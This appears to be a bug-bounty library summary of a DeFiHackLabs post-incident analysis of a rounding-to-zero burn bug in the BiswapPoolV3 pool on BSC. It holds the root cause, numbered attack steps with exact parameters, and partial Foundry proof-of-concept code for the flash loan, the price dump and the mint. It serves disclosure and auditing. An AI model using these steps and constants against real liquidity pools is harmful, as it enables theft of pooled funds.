# BiswapPoolV3: rounding-to-zero burn leaves phantom liquidity drainable

BiswapPoolV3 burn() skips decrementing state.liquidity when current-point withdrawal rounds to zero, leaving phantom liquidity a swap drains for ~$51K.

- Payout: Real-world hack
- Severity: critical
- Program: BiswapPoolV3
- Analysis by: DeFiHackLabs
- Disclosed: 2026-11-24
- Write-up quality: 9/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2026-11/BiswapPoolV3_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20261124-biswappoolv3
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained technique:source-review vuln:accounting-error vuln:business-logic vuln:flash-loan vuln:precision-loss

**Target:** BiswapPoolV3 WBNB/BUSD pool (iZiSwap-style discretized-liquidity DEX)
**Root cause:** LiquidityModule.burn always removes position liquidity via _updateLiquidity but only decrements state.liquidity inside `if (withRet.yc > 0 || withRet.xc > 0)`. At an extreme price point with liquidityX=0, withdrawnLiquidityY * sqrtPrice_96 / 2**96 floors to zero, so both yc and xc are zero and the active-liquidity decrement is skipped, leaving phantom liquidity.
**Steps:**
1. Flash-borrow 11,283 WBNB from PancakeV3 USDT/WBNB pool `0x172f...f849`.
2. `POOL.swapX2Y(address(this), 11283e18, -400001, "")` dumps WBNB, driving currentPoint to -400001 and taking ~50,994 BUSD out.
3. `POOL.mint(address(this), -400050, -400000, 4_847_000_000, "")` for ~500 wei BUSD.
4. Burn in 10 slices of `484_700_000` each; every slice withdraws 0 at current point so state.liquidity stays 4,847,000,000.
5. `POOL.swapY2X(...)` against phantom liquidity pulls ~11,283 WBNB back for ~63k wei BUSD.
6. Top up flash fee via PancakeV2 BUSD->WBNB swap and repay loan in callback.
**How found:** Code review of LiquidityModule.burn: noticed _updateLiquidity always runs but state.liquidity decrement is gated on `withRet.yc > 0 || withRet.xc > 0`; hypothesized that at an extreme point with liquidityX=0 the Y withdrawal floors to zero, skipping the decrement. Negative control (single full-size burn) confirms state.liquidity correctly zeroes, isolating the rounding-to-zero slice as the defect.
**Exploitation:** Attacker flash-borrows WBNB, dumps it into the victim pool to push price to an extreme low point where liquidityX=0, mints a position spanning that point, burns it in ten slices each rounding current-point withdrawal to zero (so state.liquidity is never decremented), then swaps back against the phantom active liquidity to extract the pool's real WBNB and BUSD. Flash fee topped up via PancakeV2 and loan repaid in same callback; ~50,159 BUSD profit.
**Insight:** In discretized-liquidity DEXes, audit every branch where active-liquidity accounting is gated on a computed withdrawal amount: if that amount can floor to zero (extreme price point, liquidityX=0), position removal and active-liquidity removal diverge, creating phantom liquidity. Test by burning in slices sized so per-slice withdrawal rounds to zero.

## Proof of concept (copied exactly from the original report)

**Flash-borrow, dump, mint, ten rounding-to-zero burns, swap back**

```
function pancakeV3FlashCallback(uint256, uint256 fee1, bytes calldata) external {
        require(msg.sender == address(FLASH), "flash sender");
        flashOwed = BORROW + fee1;

        if (controlMode) {
            runControl();
            return;
        }

        // 2. dump the borrowed WBNB into the victim pool, driving the price to the extreme low point.
        POOL.swapX2Y(address(this), uint128(BORROW), DUMP_LOW_PT, "");

        (, int24 cp,,,,,,, uint128 liqBeforeMint,) = POOL.state();
        emit log_named_int("currentPoint after dump", cp);
        emit log_named_uint("state.liquidity after dump", liqBeforeMint);

        // 3. mint a position spanning the current point.
        POOL.mint(address(this), LEFT_PT, RIGHT_PT, MINT_LIQUIDITY, "");
        (,,,,,,,, uint128 liqAfterMint,) = POOL.state();
        emit log_named_uint("state.liquidity after mint", liqAfterMint);
```

**Attacker constants: borrow, points, mint liquidity, burn slice**

```
uint256 constant BORROW = 11_283 ether; // WBNB flash-borrowed
    int24 constant LEFT_PT = -400_050;
    int24 constant RIGHT_PT = -400_000;
    int24 constant DUMP_LOW_PT = -400_001; // price bound for the dump swap; leaves currentPoint inside [LEFT_PT, RIGHT_PT)
    uint128 constant MINT_LIQUIDITY = 4_847_000_000;
    uint128 constant BURN_SLICE = 484_700_000; // 1/10th; withdraws 0 at the current point
    uint256 constant BURN_COUNT = 10;
```

**Fork setup and exploit entry with flash loan**

```
function setUp() public {
        vm.createSelectFork("bsc", 135_526_419);
        vm.label(address(WBNB), "WBNB");
        vm.label(address(BUSD), "BUSD");
        vm.label(address(POOL), "BiswapPoolV3");
    }

    function testExploit() public {
        emit log_named_decimal_uint("pool WBNB before", WBNB.balanceOf(address(POOL)), 18);
        emit log_named_decimal_uint("pool BUSD before", BUSD.balanceOf(address(POOL)), 18);

        // Honest own-capital seed for the mint: ~500 wei of BUSD. Not load-bearing.
        deal(address(BUSD), address(this), 1e4);

        // 1. real PancakeV3 flash loan of WBNB (token1); the attack runs inside the callback.
        FLASH.flash(address(this), 0, BORROW, "");
```

